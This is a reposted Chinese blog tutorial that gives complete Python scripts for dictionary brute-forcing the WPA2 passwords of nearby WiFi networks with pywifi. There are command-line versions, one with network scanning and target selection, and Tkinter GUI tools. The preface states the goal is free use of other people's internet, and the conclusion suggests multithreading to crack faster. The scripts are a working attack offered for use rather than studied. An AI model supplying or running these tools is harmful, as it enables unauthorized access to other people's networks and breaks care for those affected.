Python暴力破解附近局域网WiFi密码

r囧r小猫 2022-09-16 00:21 338阅读 0赞

78df72d61c62d2c747a746cbc46d768b.gif

前言

本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解，从而实现免费蹭网。

无图形界面

先来看看没有图形界面版的爆破脚本。

WIFI爆破

  1. import pywifi
  2. from pywifi import const
  3. import time
  4. import datetime
  9. # 测试连接，返回链接结果
  10. def wifiConnect(pwd):
  11.     # 抓取网卡接口
  12.     wifi = pywifi.PyWiFi()
  13.     # 获取第一个无线网卡
  14.     ifaces = wifi.interfaces()[0]
  15.     # 断开所有连接
  16.     ifaces.disconnect()
  17.     time.sleep(1)
  18.     wifistatus = ifaces.status()
  19.     if wifistatus == const.IFACE_DISCONNECTED:
  20.         # 创建WiFi连接文件
  21.         profile = pywifi.Profile()
  22.         # 要连接WiFi的名称
  23.         profile.ssid = "Tr0e"
  24.         # 网卡的开放状态
  25.         profile.auth = const.AUTH_ALG_OPEN
  26.         # wifi加密算法,一般wifi加密算法为wps
  27.         profile.akm.append(const.AKM_TYPE_WPA2PSK)
  28.         # 加密单元
  29.         profile.cipher = const.CIPHER_TYPE_CCMP
  30.         # 调用密码
  31.         profile.key = pwd
  32.         # 删除所有连接过的wifi文件
  33.         ifaces.remove_all_network_profiles()
  34.         # 设定新的连接文件
  35.         tep_profile = ifaces.add_network_profile(profile)
  36.         ifaces.connect(tep_profile)
  37.         # wifi连接时间
  38.         time.sleep(2)
  39.         if ifaces.status() == const.IFACE_CONNECTED:
  40.             return True
  41.         else:
  42.             return False
  43.     else:
  44.         print("已有wifi连接")
  49. # 读取密码本
  50. def readPassword():
  51.     success = False
  52.     print("****************** WIFI破解 ******************")
  53.     # 密码本路径
  54.     path = "pwd.txt"
  55.     # 打开文件
  56.     file = open(path, "r")
  57.     start = datetime.datetime.now()
  58.     while True:
  59.         try:
  60.             pwd = file.readline()
  61.             # 去除密码的末尾换行符
  62.             pwd = pwd.strip('\n')
  63.             bool = wifiConnect(pwd)
  64.             if bool:
  65.                 print("[*] 密码已破解：", pwd)
  66.                 print("[*] WiFi已自动连接！！！")
  67.                 success = True
  68.                 break
  69.             else:
  70.                 # 跳出当前循环，进行下一次循环
  71.                 print("正在破解 SSID 为 %s 的 WIFI密码，当前校验的密码为：%s"%("Tr0e",pwd))
  72.         except:
  73.             continue
  74.     end = datetime.datetime.now()
  75.     if(success):
  76.         print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))
  77.     else:
  78.         print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码，请更换密码字典后重新尝试！")
  79.     exit(0)
  84. if __name__=="__main__":
  85.     readPassword()

代码运行效果：
48613120322ea85fafb9928752fe6b15.png

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径，缺少灵活性。下面进行改造优化：

  1. import pywifi
  2. import time
  3. from pywifi import const
  8. # WiFi扫描模块
  9. def wifi_scan():
  10.     # 初始化wifi
  11.     wifi = pywifi.PyWiFi()
  12.     # 使用第一个无线网卡
  13.     interface = wifi.interfaces()[0]
  14.     # 开始扫描
  15.     interface.scan()
  16.     for i in range(4):
  17.         time.sleep(1)
  18.         print('\r扫描可用 WiFi 中，请稍后。。。（' + str(3 - i), end='）')
  19.     print('\r扫描完成！\n' + '-' * 38)
  20.     print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
  21.     # 扫描结果，scan_results()返回一个集，存放的是每个wifi对象
  22.     bss = interface.scan_results()
  23.     # 存放wifi名的集合
  24.     wifi_name_set = set()
  25.     for w in bss:
  26.         # 解决乱码问题
  27.         wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
  28.         wifi_name_set.add(wifi_name_and_signal)
  29.     # 存入列表并按信号排序
  30.     wifi_name_list = list(wifi_name_set)
  31.     wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
  32.     num = 0
  33.     # 格式化输出
  34.     while num < len(wifi_name_list):
  35.         print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
  36.         num += 1
  37.     print('-' * 38)
  38.     # 返回wifi列表
  39.     return wifi_name_list
  44. # WIFI破解模块
  45. def wifi_password_crack(wifi_name):
  46.     # 字典路径
  47.     wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典（txt格式，每个密码占据1行）的路径：")
  48.     with open(wifi_dic_path, 'r') as f:
  49.         # 遍历密码
  50.         for pwd in f:
  51.             # 去除密码的末尾换行符
  52.             pwd = pwd.strip('\n')
  53.             # 创建wifi对象
  54.             wifi = pywifi.PyWiFi()
  55.             # 创建网卡对象，为第一个wifi网卡
  56.             interface = wifi.interfaces()[0]
  57.             # 断开所有wifi连接
  58.             interface.disconnect()
  59.             # 等待其断开
  60.             while interface.status() == 4:
  61.                 # 当其处于连接状态时，利用循环等待其断开
  62.                 pass
  63.             # 创建连接文件（对象）
  64.             profile = pywifi.Profile()
  65.             # wifi名称
  66.             profile.ssid = wifi_name
  67.             # 需要认证
  68.             profile.auth = const.AUTH_ALG_OPEN
  69.             # wifi默认加密算法
  70.             profile.akm.append(const.AKM_TYPE_WPA2PSK)
  71.             profile.cipher = const.CIPHER_TYPE_CCMP
  72.             # wifi密码
  73.             profile.key = pwd
  74.             # 删除所有wifi连接文件
  75.             interface.remove_all_network_profiles()
  76.             # 设置新的wifi连接文件
  77.             tmp_profile = interface.add_network_profile(profile)
  78.             # 开始尝试连接
  79.             interface.connect(tmp_profile)
  80.             start_time = time.time()
  81.             while time.time() - start_time < 1.5:
  82.                 # 接口状态为4代表连接成功（当尝试时间大于1.5秒之后则为错误密码，经测试测正确密码一般都在1.5秒内连接，若要提高准确性可以设置为2s或以上，相应暴力破解速度就会变慢）
  83.                 if interface.status() == 4:
  84.                     print(f'\r连接成功！密码为：{pwd}')
  85.                     exit(0)
  86.                 else:
  87.                     print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
  90. # 主函数
  91. def main():
  92.     # 退出标致
  93.     exit_flag = 0
  94.     # 目标编号
  95.     target_num = -1
  96.     while not exit_flag:
  97.         try:
  98.             print('WiFi万能钥匙'.center(35, '-'))
  99.             # 调用扫描模块，返回一个排序后的wifi列表
  100.             wifi_list = wifi_scan()
  101.             # 让用户选择要破解的wifi编号，并对用户输入的编号进行判断和异常处理
  102.             choose_exit_flag = 0
  103.             while not choose_exit_flag:
  104.                 try:
  105.                     target_num = int(input('请选择你要尝试破解的wifi：'))
  106.                     # 如果要选择的wifi编号在列表内，继续二次判断，否则重新输入
  107.                     if target_num in range(len(wifi_list)):
  108.                         # 二次确认
  109.                         while not choose_exit_flag:
  110.                             try:
  111.                                 choose = str(input(f'你选择要破解的WiFi名称是：{wifi_list[target_num][1]}，确定吗？（Y/N）'))
  112.                                 # 对用户输入进行小写处理，并判断
  113.                                 if choose.lower() == 'y':
  114.                                     choose_exit_flag = 1
  115.                                 elif choose.lower() == 'n':
  116.                                     break
  117.                                 # 处理用户其它字母输入
  118.                                 else:
  119.                                     print('只能输入 Y/N 哦o(*￣︶￣*)o')
  120.                             # 处理用户非字母输入
  121.                             except ValueError:
  122.                                 print('只能输入 Y/N 哦o(*￣︶￣*)o')
  123.                         # 退出破解
  124.                         if choose_exit_flag == 1:
  125.                             break
  126.                         else:
  127.                             print('请重新输入哦(*^▽^*)')
  128.                 except ValueError:
  129.                     print('只能输入数字哦o(*￣︶￣*)o')
  130.             # 密码破解，传入用户选择的wifi名称
  131.             wifi_password_crack(wifi_list[target_num][1])
  132.             print('-' * 38)
  133.             exit_flag = 1
  134.         except Exception as e:
  135.             print(e)
  136.             raise e
  141. if __name__ == '__main__':
  142.     main()

脚本运行效果如下：
deea2f1fe9eb6a7e38114c300148ad3b.png

上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称，并且可供用户自主选择需要暴力破解的 WIFI，同时还可灵活指定暴力破解的字典，相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件，双击运行效果如下：

9b1e37933b0f4642bc2eabd31952b820.png

图形化界面

下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本，实现友好的可视化 WIFI 暴力破解界面工具。

简单版UI

  1. from tkinter import *
  2. from pywifi import const
  3. import pywifi
  4. import time
  9. # 主要步骤：
  10. # 1、获取第一个无线网卡
  11. # 2、断开所有的wifi
  12. # 3、读取密码本
  13. # 4、设置睡眠时间
  14. def wificonnect(str, wifiname):
  15.     # 窗口无线对象
  16.     wifi = pywifi.PyWiFi()
  17.     # 抓取第一个无线网卡
  18.     ifaces = wifi.interfaces()[0]
  19.     # 断开所有的wifi
  20.     ifaces.disconnect()
  21.     time.sleep(1)
  22.     if ifaces.status() == const.IFACE_DISCONNECTED:
  23.         # 创建wifi连接文件
  24.         profile = pywifi.Profile()
  25.         profile.ssid = wifiname
  26.         # wifi的加密算法
  27.         profile.akm.append(const.AKM_TYPE_WPA2PSK)
  28.         # wifi的密码
  29.         profile.key = str
  30.         # 网卡的开发
  31.         profile.auth = const.AUTH_ALG_OPEN
  32.         # 加密单元,这里需要写点加密单元否则无法连接
  33.         profile.cipher = const.CIPHER_TYPE_CCMP
  34.         # 删除所有的wifi文件
  35.         ifaces.remove_all_network_profiles()
  36.         # 设置新的连接文件
  37.         tep_profile = ifaces.add_network_profile(profile)
  38.         # 连接
  39.         ifaces.connect(tep_profile)
  40.         time.sleep(3)
  41.         if ifaces.status() == const.IFACE_CONNECTED:
  42.             return True
  43.         else:
  44.             return False
  49. def readPwd():
  50.     # 获取wiif名称
  51.     wifiname = entry.get().strip()
  52.     path = r'./pwd.txt'
  53.     file = open(path, 'r')
  54.     while True:
  55.         try:
  56.             # 读取
  57.             mystr = file.readline().strip()
  58.             # 测试连接
  59.             bool = wificonnect(mystr, wifiname)
  60.             if bool:
  61.                 text.insert(END, '密码正确' + mystr)
  62.                 text.see(END)
  63.                 text.update()
  64.                 file.close()
  65.                 break
  66.             else:
  67.                 text.insert(END, '密码错误' + mystr)
  68.                 text.see(END)
  69.                 text.update()
  70.         except:
  71.             continue
  76. # 创建窗口
  77. root = Tk()
  78. root.title('wifi破解')
  79. root.geometry('500x400')
  80. # 标签
  81. label = Label(root, text='输入要破解的WIFI名称：')
  82. # 定位
  83. label.grid()
  84. # 输入控件
  85. entry = Entry(root, font=('微软雅黑', 14))
  86. entry.grid(row=0, column=1)
  87. # 列表控件
  88. text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
  89. text.grid(row=1, columnspan=2)
  90. # 按钮
  91. button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
  92. button.grid(row=2, columnspan=2)
  93. # 显示窗口
  94. root.mainloop()

脚本运行效果：
bde2d25fa5843a44a2d9734cb2253eca.png

UI升级版

以上图形界面未允许选择密码字典，下面进行优化升级：

  1. from tkinter import *
  2. from tkinter import ttk
  3. import pywifi
  4. from pywifi import const
  5. import time
  6. import tkinter.filedialog  # 在Gui中打开文件浏览
  7. import tkinter.messagebox  # 打开tkiner的消息提醒框
  12. class MY_GUI():
  13.     def __init__(self, init_window_name):
  14.         self.init_window_name = init_window_name
  15.         # 密码文件路径
  16.         self.get_value = StringVar()  # 设置可变内容
  17.         # 获取破解wifi账号
  18.         self.get_wifi_value = StringVar()
  19.         # 获取wifi密码
  20.         self.get_wifimm_value = StringVar()
  21.         # 抓取网卡接口
  22.         self.wifi = pywifi.PyWiFi()
  23.         # 抓取第一个无线网卡
  24.         self.iface = self.wifi.interfaces()[0]
  25.         # 测试链接断开所有链接
  26.         self.iface.disconnect()
  27.         time.sleep(1)  # 休眠1秒
  28.         # 测试网卡是否属于断开状态
  29.         assert self.iface.status() in \
  30.                [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  33.     def __str__(self):
  34.         # 自动会调用的函数，返回自身的网卡
  35.         return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
  38.     # 设置窗口
  39.     def set_init_window(self):
  40.         self.init_window_name.title("WIFI破解工具")
  41.         self.init_window_name.geometry('+500+200')
  42.         labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架，以下对象都是对于labelframe中添加的
  43.         labelframe.grid(column=0, row=0, padx=10, pady=10)
  44.         self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
  45.         self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
  46.         self.label = Label(labelframe, text="目录路径：").grid(column=0, row=1)
  47.         self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
  48.         self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
  49.         self.wifi_text = Label(labelframe, text="WiFi账号：").grid(column=0, row=2)
  50.         self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
  51.         self.wifi_mm_text = Label(labelframe, text="WiFi密码：").grid(column=2, row=2)
  52.         self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
  53.         self.wifi_labelframe = LabelFrame(text="wifi列表")
  54.         self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
  55.         # 定义树形结构与滚动条
  56.         self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
  57.         self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
  58.         self.wifi_tree.configure(yscrollcommand=self.vbar.set)
  59.         # 表格的标题
  60.         self.wifi_tree.column("a", width=50, anchor="center")
  61.         self.wifi_tree.column("b", width=100, anchor="center")
  62.         self.wifi_tree.column("c", width=100, anchor="center")
  63.         self.wifi_tree.column("d", width=100, anchor="center")
  64.         self.wifi_tree.heading("a", text="WiFiID")
  65.         self.wifi_tree.heading("b", text="SSID")
  66.         self.wifi_tree.heading("c", text="BSSID")
  67.         self.wifi_tree.heading("d", text="signal")
  68.         self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
  69.         self.wifi_tree.bind("<Double-1>", self.onDBClick)
  70.         self.vbar.grid(row=4, column=1, sticky=NS)
  73.     # 搜索wifi
  74.     def scans_wifi_list(self):  # 扫描周围wifi列表
  75.         # 开始扫描
  76.         print("^_^ 开始扫描附近wifi...")
  77.         self.iface.scan()
  78.         time.sleep(15)
  79.         # 在若干秒后获取扫描结果
  80.         scanres = self.iface.scan_results()
  81.         # 统计附近被发现的热点数量
  82.         nums = len(scanres)
  83.         print("数量: %s" % (nums))
  84.         # 实际数据
  85.         self.show_scans_wifi_list(scanres)
  86.         return scanres
  89.     # 显示wifi列表
  90.     def show_scans_wifi_list(self, scans_res):
  91.         for index, wifi_info in enumerate(scans_res):
  92.             self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
  95.     # 添加密码文件目录
  96.     def add_mm_file(self):
  97.         self.filename = tkinter.filedialog.askopenfilename()
  98.         self.get_value.set(self.filename)
  101.     # Treeview绑定事件
  102.     def onDBClick(self, event):
  103.         self.sels = event.widget.selection()
  104.         self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
  107.     # 读取密码字典，进行匹配
  108.     def readPassWord(self):
  109.         self.getFilePath = self.get_value.get()
  110.         self.get_wifissid = self.get_wifi_value.get()
  111.         pwdfilehander = open(self.getFilePath, "r", errors="ignore")
  112.         while True:
  113.             try:
  114.                 self.pwdStr = pwdfilehander.readline()
  115.                 if not self.pwdStr:
  116.                     break
  117.                 self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
  118.                 if self.bool1:
  119.                     self.res = "[*] 密码正确！wifi名：%s，匹配密码：%s " % (self.get_wifissid, self.pwdStr)
  120.                     self.get_wifimm_value.set(self.pwdStr)
  121.                     tkinter.messagebox.showinfo('提示', '破解成功！！！')
  122.                     print(self.res)
  123.                     break
  124.                 else:
  125.                     self.res = "[*] 密码错误！wifi名:%s，匹配密码：%s" % (self.get_wifissid, self.pwdStr)
  126.                     print(self.res)
  127.                 time.sleep(3)
  128.             except:
  129.                 continue
  132.     # 对wifi和密码进行匹配
  133.     def connect(self, pwd_Str, wifi_ssid):
  134.         # 创建wifi链接文件
  135.         self.profile = pywifi.Profile()
  136.         self.profile.ssid = wifi_ssid  # wifi名称
  137.         self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
  138.         self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
  139.         self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
  140.         self.profile.key = pwd_Str  # 密码
  141.         self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
  142.         self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
  143.         self.iface.connect(self.tmp_profile)  # 链接
  144.         time.sleep(5)
  145.         if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
  146.             isOK = True
  147.         else:
  148.             isOK = False
  149.         self.iface.disconnect()  # 断开
  150.         time.sleep(1)
  151.         # 检查断开状态
  152.         assert self.iface.status() in \
  153.                [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  154.         return isOK
  159. def gui_start():
  160.     init_window = Tk()
  161.     ui = MY_GUI(init_window)
  162.     print(ui)
  163.     ui.set_init_window()
  164.     init_window.mainloop()
  169. if __name__ == "__main__":
  170.     gui_start()

脚本运行效果如下：
baaf28cae997de208880278ba72d5780.png
以上基于 Python 的 GUI 图形界面开发库 Tkinter，实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码。

#

总结

本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试，实际上因为 WIFI 连接测试需要一定的耗时（3-5秒），故使用多线程将能减少暴力破解过程的等待时间。

原文链接：https://blog.csdn.net/weixin\_39190897/article/details/119778471

文章转载：Python编程学习圈
（版权归原作者所有，侵删）

Linux学习指南

453dbb668ba721a2812ec2e19dd0481c.png有收获，点个在看8bb3ae977988b2cc1a60cc5e7c94fd61.png

发表评论

表情：
评论列表 （有 0 条评论，338人围观）

还没有评论，来说两句吧...

相关阅读

    相关 JMeter暴力破解账户密码

    小编软件测试刚入行二个月 为了前途 前几天看了下有关验证码找回密码的安全漏洞的文章，于是做了以下有关暴力破解验证码的总结 周所周知，所谓暴力破解，也就是我们所说的穷举法

    骑猪看日落骑猪看日落/ 0 赞/ 526 阅读

    相关 Python破解WIFI密码详细介绍

           俗话说“小时偷针，大时偷鸡”，来告诉我们从小要养成良好的行为习惯。但是自从走上程序员这条路以后，学习变得枯燥，明明很有时间，“却变得没有时间了”，总之学习效率特别

    柔光的暖阳◎柔光的暖阳◎/ 0 赞/ 1247 阅读